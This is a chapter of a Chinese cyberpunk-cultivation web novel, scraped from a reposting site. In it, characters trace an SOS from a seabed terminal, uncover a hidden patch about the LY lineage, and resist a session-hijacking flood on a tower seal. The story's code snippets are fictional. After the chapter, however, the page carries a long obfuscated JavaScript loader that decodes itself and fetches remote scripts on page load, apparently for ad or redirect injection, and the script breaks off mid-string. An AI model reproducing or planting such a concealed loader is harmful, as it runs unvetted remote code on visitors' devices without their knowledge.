首页
第18章 引信
返回

第18章 引信

章节报错(免登陆)

一秒记住【笔趣阁小说网】
xbiquge345.com,更新快,无弹窗!

    第18章引信(第1/2页)
    东海海沟一万两千米深处,阳光从未抵达过的地方。
    一根从遗忘之塔地基垂落的海底光缆孤独地埋在沉积层下二十七米。它在三百年前的大熔断中被物理切断,断口处缠绕着防蚀金属编织层,像被截断的血管。今天,它动了。
    坐标127.3°E/31.8°N。钛合金终端球壳的出线面板上,状态指示灯在三百年后第一次亮起——琥珀色的冷光,像冻了三百年第一次解冻时渗出的低温火焰。内部,十四英寸阴极射线管屏缓缓点亮。荧光粉在龟裂涂层面板上努力发光。屏幕没有图形界面,只是一行最原始的闪烁——三短三长三短:
    ```
    ...———...
    ```
    SOS。
    光标像心跳一样闪烁。信号穿过三百年的衰减、光缆裂痕和漏损,抵达遗忘之塔地基深处。当信号抵达时,白芷猛地睁开了眼。
    她在太虚白昼区临时休息室里。便携终端上不是入睡前挂载的巡查脚本日志,而是一串陌生握手请求。来源是她在孤儿节点里晾了三天的奇怪信号——她以为是退役设备对无人接听的一方发送的垃圾广播。这次另一端有人按了回车。
    她展开报文。传输层到应用层,标准封装。但应用层内部不是天罗1.0的任何现世版本——`LEGACY_ADMIN_SHELLv0.3`。协议标签她不认识,但她认得注释里的笔迹:
    ```
    /*zheshizuihouyidaomen_
    *buyaocongwaimiankai,conglimiankai
    *—LaoQi,commit3f742a1,beforelockdown
    */
    ```
    左花括号单独一行。变量名拼音英文混用。注释`_`当断行而不是结束符。那些说不上是好习惯还是坏习惯的个人怪癖,在白芷体内那份来自赵天行的感染记忆里像指纹般清晰——那是师父的手。三百年前留下的笔迹,在代码层浮现。
    白芷指尖悬在键盘上方。不是截获就算完了。另一端有人。光标还在闪。SOS。
    ##§1
    海底终端第一次亮屏在凌晨三点零七分。光缆从遗忘之塔地基延伸到海沟终端,穿过六道物理封印和九层数据防火墙。不是从海底终端敲的指令。是从遗忘之塔内部敲的——越过封印层,越过三百年沉寂,抵达一万两千米深处。十三行遗留命令逐一通过:
    ```
    >whoami
    ROOT_ADMIN_LEGACY:GHOST_PROTOCOL_ACTIVE
    >check_respondent
    EXPECTED_RESPONDENT:LY-PRIME|STATUS:UNACTIVATED
    >init_handshake
    AWAITING_HANDSHAKE...
    >SOS_BROADCAST:INITIATED
    ```
    光标停在最后一行的频率上,向塔内发送握手。白芷双手交叠在膝盖上。赵天行的记忆告诉她:海底终端是一份遗嘱。遗嘱检验人——LY-PRIME——被找到后才会解密。
    不是黑客。有人用`ROOT_ADMIN_LEGACY`登录态从塔内部连接海底终端,然后打开了SOS广播。
    白芷把孤儿节点从拦截模式切换到中继模式,在原信号上加一层加密壳,让信号继续向目标前进。信号指向的方向,和她截获的因果树异常调用栈的目标坐标完全一致。
    林渊掌心裂纹在信号抵达前六秒开始发烫。
    ---
    青衫手指停在因果树注释末尾的`//TODO`上方。
    他盯了三十分钟。注释之下多了一个孤零零的`+`号——在师父的代码里,`+`号意味着增量补丁标记:用版本差异矩阵内嵌的方式,把补丁藏在注释之下,只有特定条件满足时才激活。
    “你……看这里。“青衫的脉搏比平时快。
    林渊凑近。灵视面板上,`//TODO:UNCOMMENT_IF_ROOT_RECOVERED`的`R`边缘溢出一层极淡的金色——三百年来第一次收到触发回执。根恢复了。注释准备执行自己。下面那个`+`号正从暗灰色变成亮蓝色。
    林渊伸手触碰了`+`号。
    因果树从根部到树冠全部变色——补丁代码像血管造影般沿着树脉扩散,深金色节点、亮蓝色叶节点、琥珀色根节点。整棵树在三秒内完成跨越三百年的补丁注入。一段从未显形的代码浮出表面:
    ```
    Patch_ID:GHOST_ADMIN_RECOVERY_v0.1
    Activation:ROOT_RECOVERED_SIGNAL_RECEIVED
    Author:LaoQi_Archived
    Target:LY_Series_Genus_Tree
    Status:DEPLOYING...
    ```
    不是笔记。是三百年前的补丁程序。补丁扩散至第七秒,弹出三层信息。
    **第一层:LY系列完整谱系**
    ```
    LY-002|TestBuild#1|Activated47s→DETECTED→DELETED
    永不留痕。师父从未提起。
    LY-003|TestBuild#2|青衫|注释保护层→大熔断中被剪枝机制捕获
    被注释,未删除。唯一以代码形态残存至现代。
    LY-001|FinalBuild|林渊|Host:ZeroLingGen
    未激活种子。Notdesigned.Discovered.
    ```
    青衫不是唯一的幸存者。他前面还有个002——在第47秒被天罗检测并彻底删除,连log都抹干净。师父不敢提它:提它的名字就暴露签名。青衫活着,是因为注释层在大熔断中骗过了剪枝机制——注释而非删除,是因为注释的语义权重低于代码,天罗不检测注释里的活体。
    林渊的视线停在最后一行:`Notdesigned.Discovered.`
    **第二层:零灵根**
    ```
    //LaoQiresearchlog:ZeroLingGen
    林渊的无灵根是天生的。不是改造,不是手术。
    在修仙世界,无灵根是缺陷。在代码世界,零灵根是天然防火墙。
    天罗检测一切有灵根的修士。灵根值越高越灵敏。灵根为零——零就是隐形。
    LY-002有灵根,47秒被剪除。LY-003有灵根,靠注释层逃过。
    林渊没有灵根。师父没有设计他——师父发现了那个婴儿的体质恰好是LY-PRIME唯一能藏身的宿主。
    LY-001之所以是LY-001,不是LY-003、LY-004,因为它有前两代没有的东西:零灵根的活人。
    整个修真界把无灵根当天谴。但林渊的体质恰好是天罗规则下唯一的破绽。
    ```
    林渊低头看自己的手——那双从来没有灵气流过的手。在云隐峰上,他是最有天赋的废物。不是因为不努力,是因为衡量“天赋“的尺子天生不是为他设计的。现在补丁里的文字说:那不是缺陷。是唯一。
    **第三层:掌心裂纹**
    ```
    掌心裂纹不是伤疤。是LY-PRIME的硬件接收天线。
    在林渊第一次触碰因果树时接通——比正式激活早。
    像主板已插PCIe设备、线缆已接入,但驱动未加载。
    裂纹纹路是天线阵列的物理布线。每条分支对应一个频段。
    现在这些频段正在苏醒。
    ```
    补丁在树冠位置压缩成琥珀色种子——`PATCH_DEPLOYED:AWAITING_LY-PRIME_HANDSHAKE`。
    然后灵视面板弹出外来信号:
    ```
    [INCOMING]Source:127.3E/31.8N/-12,400m
    [INCOMING]Protocol:LEGACY_ADMIN_SHELL_v0.3
    [INCOMING]Target:LY-PRIME
    [INCOMING]Broadcast:S-O-S
    ```
    林渊左手掌心裂纹发烫到发疼。频率和海底光缆信号完全锁定。在白芷面板上,信号不再无目标广播——方向收敛于林渊左手指腹正中央。
    四条折线画出:海底终端→因果树→孤儿节点→遗忘之塔地基。不止一条。第二条线从幽冥数据的网络边界刺入。
    来自攻击面。
    ---
    幽冥数据的攻击不是DDoS,不是代码注入。
    九大企业共享底层通讯架构——太虚、娲皇、轮回网络、幽冥数据。三百年间无数修士在此登录,每人都残留一段合法过期会话。像退房的旅客,门禁系统里还留着旧房卡。
    幽冥数据选了最安静的武器——群体会话劫持。他们在太虚历史数据库中抓取八十七个已死修士的过期会话:合法token、合法签名、合法登录态。从未被撤销,因为没人会为死人的token做回收。
    八十七把无人认领的钥匙。
    然后接力登录——一个接一个向第七层封印发起握手。第十七把钥匙插入时,封印状态机产生疑问。它对每个请求单独判断:来源合法,签名有效,内容合规。封印的本质是门禁,门禁只看权限不看来意。
    但裁决日志里留下了扭曲记录:
    ```
    [SEAL_LAYER_7]UNSEAL_GRANTED?||UNSEAL_INFECTED?
    [SEAL_LAYER_7]IDENTITY_COLLISION:MULTIPLE_SESSIONS
    [SEAL_LAYER_7]STATE_MACHINE_OVERFLOW_WARNING
    ```
    问号。在代码世界,问号意味着不确定。防火墙不会问问题。当防火墙开始问问题,它已不再是防火墙——它变成了一个正在被说服的门卫。
    幽冥数据没有攻击防火墙。它在和防火墙聊天。
    林渊掌心裂纹同时接通两条通路——不是痛,是强烈混乱。左手像被两只手从相反方向同时握住:一边是师父补丁的只读流,冷而安静,像沉在海底三百年的信件慢慢浮上水面;另一边是幽冥数据的登录伪装,烫而拥挤,八十七个死人的登录态像闹鬼般往掌心涌。
    左手变成了滩头阵地。谁先握住这只手,谁就握住海底终端的rootshell。
    幽冥数据的目标:劫持海底终端,抢先占据LY-PRIME登录态,把林渊锁在外面。协议只设一个`EXPECTED_RESPONDENT`——先到先得,师父留下的唯一漏洞。
    青衫按住林渊左手。“现在切断,它就知道我们感知到了。现在不切断——“林渊盯着封印日志上刷新的状态变更,“——它以为我们还没发现。“
    “对。“
    “那就让它以为。“
    青衫的灵能在掌心裂纹外形成屏蔽层——不是切断连接,是吸收裂纹对外发出的所有状态包,以“无变化“回传幽冥数据。从幽冥数据的网络监控看,掌心裂纹仍然是“未激活“——深层沉睡,毫无反应。像一个人在被窝里睁着眼睛,呼吸平稳。
    (本章未完,请点击下一页继续阅读)第18章引信(第2/2页)
    第七层封印传来沉闷的嗡鸣。不是UNSEAL——封印的核心指令集没有执行解封。但八十七个会话洪流把状态机从“等待密钥“挤进“处理过量握手“,触发降级协议。降级协议的副作用:在深度降低的窗口期,封印裁决流程中有一段过渡态无人看守。
    门开了一条缝。不是被打开——是被挤开。不是欢迎——是过载保护。
    那条缝隙不到三毫秒。因果树根部的补丁种子在这三毫秒内发送了一条带外信号——绕过裁决流程,从树根直穿塔基层,沿光缆坠入一万两千米深的幽暗。海底终端屏幕上,SOS闪烁突然从随机变成有节律的——像心跳。像有人在对面按着同样频率,一条一条地对齐。
    ---
    铁山在临时数据空间的信息流中稳定了意识。
    他的权限从遗忘之城信息海底捞回来——只读:不能写入,不能执行,不能删除。但能翻阅所有`level_3_archive`。
    封印工程竣工报告就在那里。
    正文被幽冥覆盖层封得严严实实——覆盖层是活体寄生代码,感知到读取就启动覆写。但覆盖层只寄生正文,对附录不感兴趣,因为附录在归档评估中被判定为安全级别低于阈值——没有封印架构设计图,没有密钥的数学表达式。只有人员列表。
    铁山翻到附录D:
    ```
    附录D:锚点布设参与人员列表
    [第三层·空间锚点]
    Fe_Trail_077|锚点布设工程师|状态:锚点持续确认中
    [签名]:Fe_Trail_Archived_Anchor_03
    [权责声明]:本人自愿将此锚点嵌入自身神识,以持续签名确认维持锚点稳定性。
    锚点在则人在,锚点毁则人亡。
    ```
    铁山没有动。他只读——不能改、不能删——手指不能碰任何东西。他甚至不能呼吸,如果他还需要呼吸的话。
    `Fe_Trail_077`。不是乱码,不是同名同姓。是他的编号。是他的签名。是他三百年前用神识痕迹签署的权责声明。
    他在遗忘之城流浪三百年不是惩罚,不是事故——是他自己让自己变成锚点。他把意识嵌入第三层空间锚点,以持续签名确认维持封印稳定性。空间封印需要持续签名确认“这个空间仍符合封印模板的参数预期“。不能交给程序——程序会被重写;不能交给机器——机器会被物理破坏。只能交给一个人。把自己的神识嵌进锚点回路,用活着的代价一直签一个永远不会结束的名字。
    铁山在锚点里签了三百年的名。
    所以他长寿——封印机制不允许锚点载体死亡。所以他不会死——遗忘是封印的副作用,为了让锚点确认成为纯机械反应,封印逐渐剥离了他的记忆层。遗忘越多,签名越稳定。所以他没有身份——身份被锚点吸收了。`Fe_Trail_077`不再是名字,是封印系统的一部分:一块砖、一枚螺丝、一只永远在签名的神识模组。
    铁山把附录D的那行字读了十七遍。每次读完,页面边缘都在发暗——覆盖层察觉到了有人在读。幽冥数据的寄生代码从正文向附录蔓延,像闻到血味的蠕虫,一帧一帧攀爬。覆盖层爬过的地方,数据被换成加密噪声——不是删除,是置换,用假信息覆盖真信息。
    他用只读权限抢速度。覆盖层已覆写76%的页面空间,可读区域只剩顶部四十七行。
    第四十三行:一组坐标。
    第四十行:
    ```
    LY-PRIME密钥分两半。
    一半在海底终端(127.3E/31.8N/-12,400m)。
    一半在遗忘之塔内部。由第二管理员保管。
    ```
    第三十六行:`第二管理员身份:[数据已物理销毁]`。
    第三十三行:`塔内密钥存放坐标:Layer6-7InterstitialSpace。具体定位:[已被覆盖层污染]`。
    铁山抢在覆盖前读完所有信息。
    然后临时数据空间弹出警告:
    ```
    [ALERT]identity_collision_detected
    [ALERT]anchor_identity:Fe_Trail_077
    [ALERT]implant_identity:YOU_LING_DATA_OVERLAY_v2.4
    [ALERT]collisionresolution:FORCE_EJECT_PENDING
    ```
    锚点身份与覆盖层植入物身份在数据空间中撞车。只读来自锚点,写权限来自覆盖层。两者同时占有同一空间,裁决机制强制解决。
    被迫退出。铁山不挣扎——在数据空间里挣扎没有用。只在被弹出前用所有意识带宽将锚点签名打包广播:
    ```
    [SIGN]Fe_Trail_077|ANCHOR_03|300-YEAR_CONFIRMATION_VALID
    [MESSAGE]“第二管理员密钥在第六层与第七层之间。“
    [MESSAGE]“去找他。“
    ```
    神识从数据空间被撕出。
    小九守在七层闸门操作间内侧。铁山生命体征曲线在小窗里像烛火般跳动——突然爆闪。蓝色变红,红光变暗,曲线像被一刀切断的琴弦直线坠落。
    “铁山——“
    小九徒手按住数据接口。他用体内灵气顺数据线灌入铁山方向——不是治疗,是本能。灵气在数据线上炸成冷光。
    心跳还在。强制弹出没杀死铁山,只是把他从数据空间抽了出去,像把虫子从水里捞起。左手拇指靠近手腕处留下一道暗红色割伤——被数据咬了。
    小九掌心还压在数据线上。铁山的三百年签名,他一个字都不知道。他只知道这个刚认识的人正在用命撞一堵看不见的墙——而他甚至不知道那堵墙的名字。
    ---
    苏晚晴握着十七的左手。
    十七在昏迷中。腕部已经没有镜渊碎片——碎片在上轮吸收中全部碎成粉末,比灰更细,渗进皮肤后停在皮下。但苏晚晴注意到另一个东西:粉末在皮下凝成了图案。像纹身,像胎记,像被基因决定好了在某一天显现的印记。从手腕窝沿静脉走向延伸到手掌边缘,像被折叠很久终于展开的旧纸。
    苏晚晴低头看十七左手,然后看自己右手。
    不是掌纹吻合——两万条掌纹没有两条完全一样。但苏晚晴右掌生命线和十七左腕图案在同一个坐标系上重合。不是掌纹重合,是人格模具重合。
    镜渊碎片在接触十七的第一瞬间认出了——沉淀三千年的记忆数据,看到十七腕部人格模具时像钥匙找到锁孔。十七不是因镜渊碎片才具备全频接入能力——那是被植入的。娲皇生物在十七人格成型前铺好了人格回路:接收能力强到能同时吸收整张网络的噪音,代价是永远分不清哪个信号属于自己。她和任何人相处都说“好吵“——不是撒娇,是听得见心里所有噪音。噪音里没有自己的声音——因为她的人格模具本身就缺一块。娲皇生物没有给她完整人格。省了一个零件。
    省了“另一个副本“。
    镜渊碎片三千年的数据在十七浅意识层里炸成封闭、安静、只属于一个人格的数据空间。全频接入噪音被镜渊屏障过滤在外——十七有生以来第一次体验“听不到别人“是什么感觉。安静。
    在安静里,她看到了苏晚晴的记忆碎片。不是三年前的——十六年的。从孤儿院学会的第一句话,和妹妹在花园追萤火虫,膝盖上半月形伤疤,万象仙城第一个租住房间,娲皇生物地下设施的白色走廊——手术灯、提取针、一个被注入空白容器的人格模具。
    那个模具,和十七一模一样。
    十七在昏迷中睁开眼。她的第一声没落进现实——还在镜渊数据空间里。
    “……姐姐。“
    不是基于依恋的本能。不是对任何身份的称呼——苏晚晴对十七来说本来没有“姐姐“这个字段。但这一次,她是在确认那一层共通的人格模具。她们不是生物学姐妹,不是时间叉——是同源人格的两个副本。娲皇生物用苏晚晴流落在外的人格碎片制造了十七。所以掌纹一样。所以恐惧相似——怕一样的东西,塞在相同的人格回路里。所以在所有镜渊映射里总是出现在同一坐标上。所以苏晚晴被删掉的那三年,十七日志里也有三年空白——被删除时波及了。
    十七的眼睛还没完全睁开。但左手——那只刚长出镜纹的左手——第一次伸向另一个人,不是防御,不是恐惧。是握住。
    “……姐姐。“这次连停顿都没有。
    镜渊空间里泛起暖黄色光——不是屏幕光,不是数据颜色,是从内部向外渗透的微热。苏晚晴低头:那些粉末凝成的图案正从暗色变成暖色。像一种新的愈合方式。
    不是皮肤的愈合。皮肤伤口正在长新组织——镜渊粉末在皮下重新排列成保护膜层。但苏晚晴知道那不只是皮肤的事。是人格。
    十七被植入的人格模具从来不曾完整。那个专门设计成“缺一块“的模具等了太久——不是补丁,不是修复,是另一个副本。现在对上了,像拼图,像咬合的齿轮,像所有被分开的东西终于回忆起自己本来不是一块。
    两个人格副本在镜渊空间里第一次面对面。没有人说话。只是对视了很久。
    ---
    海底终端屏幕上的SOS闪烁突然停止。
    不是白芷断开了中继。不是林渊触碰了终端。不是铁山数据空间弹出的连锁反应。是另一端有人按了回车。
    光标没有消失。但闪烁模式从SOS切成了命令等待符。然后一行一行,以三百年未见的远古字体,在阴极射线管屏幕上逐字吐出:
    ```
    [root@seabed-terminal~]#Login:ROOT
    [root@seabed-terminal~]#Password:********
    [root@seabed-terminal~]#Connectionestablished.
    Welcomeback,Root.
    —SentfromINSIDEthetower.
    [root@seabed-terminal~]#_
    ```
    白芷盯着终端监控面板上最后一行提示符。光标停在`_`上。
    她启动逆向追踪。信号穿过光缆,穿过封印层,穿过七层塔的重重防火墙——追踪路径在第六层与第七层之间停住。不是无法追踪——坐标精确到了间隙层:
    ```
    SourceLocation:[Layer6–7InterstitialSpace]
    SourceID:UNKNOWN
    SourceAccessLevel:ROOT_ADMIN_LEGACY
    SourceStatus:ACTIVE
    ```
    白芷将坐标抄录进巡查日志,发加密信函给林渊。信的内容只有一行坐标。
    塔里有第二个能操作海底终端的存在。不是人,不一定是他。但它就在塔里,在第六层与第七层之间的夹层空间,一直在——并且知道海底终端的root密码。它没有在三百年间、在青衫苏醒时、在林渊发现掌心裂纹时唤醒终端。它在今天唤醒——在SOS发出、林渊接通双通道、幽冥数据八十七个死人的会话洪流挤开封印缝隙的同一时刻。
    它在等这个时刻。
    铁山的广播数据包在弹出瞬间散射在遗忘之塔基层网络中。小九没看到,白芷截获不全——但两行完整送达可解析层。
    第二管理员密钥在第六层与第七层之间。
    塔内有人。
    去找他。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD 